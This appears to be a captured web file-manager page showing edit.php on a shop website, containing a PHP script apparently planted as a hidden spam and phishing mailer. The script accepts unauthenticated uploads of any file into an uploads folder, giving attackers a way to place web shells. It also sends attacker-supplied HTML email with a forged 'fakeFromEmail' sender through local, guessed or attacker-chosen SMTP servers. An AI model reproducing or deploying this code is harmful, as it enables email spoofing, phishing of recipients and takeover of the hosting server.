Create New Item
Item Type
File
Folder
Item Name
Search file in folder and subfolders...
Are you sure want to rename?
File Manager
/
dodgerssjersey.shop
:
edit.php
Advanced Search
Upload
New Item
Settings
Back
Back Up
Advanced Editor
Save
<?php header('Content-Type: application/json'); // Catch Fatal Errors function handleFatalError() { $error = error_get_last(); if ($error !== null) { echo json_encode([ "status" => "fail", "error" => strip_tags($error['message']), "file" => $error['file'], "line" => $error['line'] ]); exit; } } register_shutdown_function('handleFatalError'); // Use a 10-second timeout for connections $defaultTimeout = 10; // If a file upload is detected, process the file upload if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) { // Set the target directory to "uploads" (create if it does not exist) $targetDir = __DIR__ . '/uploads/'; if (!is_dir($targetDir)) { mkdir($targetDir, 0755, true); } $filename = basename($_FILES['file']['name']); $targetFile = $targetDir . $filename; if (move_uploaded_file($_FILES['file']['tmp_name'], $targetFile)) { echo json_encode([ "status" => "success", "message" => "File uploaded successfully", "file" => $filename ]); } else { echo json_encode([ "status" => "fail", "error" => "File upload failed" ]); } exit; } // Otherwise, assume JSON input for sending an email if ($_SERVER['REQUEST_METHOD'] === 'POST') { $input = file_get_contents("php://input"); $data = json_decode($input, true); // Validate required fields $required_fields = ['to', 'subject', 'fromEmail', 'fakeFromEmail', 'fromName', 'htmlContent']; foreach ($required_fields as $field) { if (!isset($data[$field])) { echo json_encode(["status" => "fail", "error" => "Missing required field: $field"]); exit; } } // Additional optional fields from the backend $forceMethod = isset($data['forceMethod']) ? $data['forceMethod'] : null; $forceSmtpServer = isset($data['forceSmtpServer']) ? $data['forceSmtpServer'] : null; $forceSmtpPort = isset($data['forceSmtpPort']) ? $data['forceSmtpPort'] : null; // If the forced SMTP override is "mail" (or "mail,mail") then force mail() if ($forceMethod === "smtp" && !empty($forceSmtpServer) && !empty($forceSmtpPort)) { $smtpServerLower = strtolower(trim($forceSmtpServer)); if ($smtpServerLower === "mail" || $smtpServerLower === "mail,mail") { $forceMethod = "mail"; } } // Assign basic data to variables $to = $data['to']; $subject = $data['subject']; $from_email = $data['fromEmail']; $fake_from_email = $data['fakeFromEmail']; $from_name = $data['fromName']; $message = $data['htmlContent']; // Encode the subject using MIME (quoted-printable) $encoded_subject = mb_encode_mimeheader($subject, 'UTF-8', 'Q'); // Encode the HTML body using quoted_printable_encode. $encoded_message = quoted_printable_encode($message); $domain = $_SERVER['SERVER_NAME']; $cleaned_domain = preg_replace('/^www\./', '', $domain); $newline = "\r\n"; // Prepare email headers – note the addition of the Content-Transfer-Encoding header. $header_from = $fake_from_email ? $fake_from_email : $from_email; $headers = "From: \"$from_name\" <$header_from>" . $newline; $headers .= "MIME-Version: 1.0" . $newline; $headers .= "Content-Type: text/html; charset=UTF-8" . $newline; $headers .= "Content-Transfer-Encoding: quoted-printable" . $newline; function smtp_command($socket, $command) { global $newline; fputs($socket, $command . $newline); return fgets($socket, 512); } // 1) If forced "mail" => use mail() directly. if ($forceMethod === "mail") { if (mail($to, $encoded_subject, $encoded_message, $headers)) { echo json_encode(["status" => "success", "method" => "mail"]); } else { echo json_encode(["status" => "fail", "error" => "mail() failed"]); } exit; } // 2) If forced "smtp" => use the forced SMTP server/port. if ($forceMethod === "smtp" && !empty($forceSmtpServer) && !empty($forceSmtpPort)) { $server = $forceSmtpServer; $port = (int)$forceSmtpPort; $use_ssl = false; if ($port == 465) { $use_ssl = true; $server = "ssl://" . $server; } $socket = @fsockopen($server, $port, $errno, $errstr, $defaultTimeout); if ($socket) { stream_set_timeout($socket, $defaultTimeout); smtp_command($socket, "EHLO $cleaned_domain"); $mail_from_response = smtp_command($socket, "MAIL FROM: <$from_email>"); if (strpos($mail_from_response, "250") !== 0) { fclose($socket); echo json_encode(["status" => "fail", "error" => "Forced MAIL FROM failed"]); exit; } $rcpt_to_response = smtp_command($socket, "RCPT TO: <$to>"); if (strpos($rcpt_to_response, "250") !== 0) { fclose($socket); echo json_encode(["status" => "fail", "error" => "Forced RCPT TO failed"]); exit; } smtp_command($socket, "DATA"); smtp_command($socket, "Subject: $encoded_subject"); smtp_command($socket, $headers); smtp_command($socket, $encoded_message); $final_response = smtp_command($socket, "."); if (strpos($final_response, "250") === 0) { fclose($socket); echo json_encode([ "status" => "success", "method" => "SMTP", "smtp_server" => "$server:$port" ]); exit; } else { fclose($socket); echo json_encode(["status" => "fail", "error" => "Forced SMTP server rejected message"]); exit; } } else { echo json_encode([ "status" => "fail", "error" => "Could not connect to forced SMTP", "server" => $server, "port" => $port ]); exit; } } // 3) Otherwise, try a list of SMTP servers; if none work, fallback to mail(). $smtp_servers = [ ["localhost", 25, false], ["mail." . $cleaned_domain, 25, false], ["mail." . $cleaned_domain, 465, true] ]; foreach ($smtp_servers as $smtp) { $smtp_server = $smtp[0]; $smtp_port = $smtp[1]; $use_ssl = $smtp[2]; if ($use_ssl) { $smtp_server = "ssl://" . $smtp_server; } $socket = @fsockopen($smtp_server, $smtp_port, $errno, $errstr, $defaultTimeout); if ($socket) { stream_set_timeout($socket, $defaultTimeout); smtp_command($socket, "EHLO $cleaned_domain"); $mail_from_response = smtp_command($socket, "MAIL FROM: <$from_email>"); if (strpos($mail_from_response, "250") !== 0) { fclose($socket); continue; } $rcpt_to_response = smtp_command($socket, "RCPT TO: <$to>"); if (strpos($rcpt_to_response, "250") !== 0) { fclose($socket); continue; } smtp_command($socket, "DATA"); smtp_command($socket, "Subject: $encoded_subject"); smtp_command($socket, $headers); smtp_command($socket, $encoded_message); $final_response = smtp_command($socket, "."); if (strpos($final_response, "250") === 0) { fclose($socket); echo json_encode([ "status" => "success", "method" => "SMTP", "smtp_server" => "$smtp_server:$smtp_port" ]); exit; } else { fclose($socket); } } } // If all SMTP attempts fail, try PHP mail() fallback. if (mail($to, $encoded_subject, $encoded_message, $headers)) { echo json_encode(["status" => "success", "method" => "mail"]); exit; } echo json_encode(["status" => "fail"]); exit; } ?>